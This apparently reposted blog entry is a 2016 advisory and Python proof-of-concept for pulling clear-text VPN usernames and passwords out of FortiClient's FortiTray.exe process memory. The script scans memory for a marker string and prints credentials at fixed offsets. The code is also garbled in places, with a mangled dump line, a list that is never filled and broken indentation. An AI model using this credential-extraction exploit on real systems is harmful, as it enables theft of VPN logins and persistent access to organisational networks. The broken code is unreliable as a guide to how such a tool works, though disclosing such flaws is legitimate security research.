FortiClient SSL-VPN 5.4 明文密码提取POC

August 29, 2016 • Security

Title       : Extracting clear text passwords from running processes(FortiClient)
CVE-ID                  : none
Product                : FortiClient SSLVPN
Service                 : FortiTray.exe
Affected              : <=5.4
Impact                  : Critical
Remote                : No
Website link       :
Reported             : 31/08/2016
Authors                : Viktor Minin           
                                  Alexander Korznikov
In our research which involved this program we found that this process store the credentials that you supplied for connecting, in clear text in the process memory.
In this situation a potential attacker who hacked your system can reveal your Username and Password steal and use them.
This may assist him in gaining persistence access to your Organization LAN network.

from winappdbg import Debug, Process, HexDump
import sys

filename = "FortiTray.exe"                          # Process name
search_string = "fortissl"                              # pattern to get offset when the credentials stored

# Searching function
def memory_search( pid, strings ):
                process = Process( pid )
                mem_dump = []
                                                                # You could also use process.search_regexp to use regular expressions,
                                                                # or process.search_text for Unicode strings,
                                                                # or process.search_hexa for raw bytes represented in hex.
                for address in process.search_bytes( strings ):
                                dump =,800)                             #Dump 810 bytes from process memory
                                for i in mem_dump:
                                                if "FortiClient SSLVPN offline" in i:                       #print all founds results by offsets to the screen.
                                                                print "\n"
                                                                print " [+] Address and port to connect: " + str(i[136:180])
                                                                print " [+] UserName: " + str(i[677:685])
                                                                print " [+] Password: " + str(i[705:715])
                                                                print "\n"

debug = Debug()
                # Lookup the currently running processes.
                # Look for all processes that match the requested filename...
                for ( process, name ) in debug.system.find_processes_by_filename( filename ):
                                pid = process.get_pid()
最后编辑于: September 2, 2016 18:59
Archives QR Code
QR Code for this page
Tipping QR Code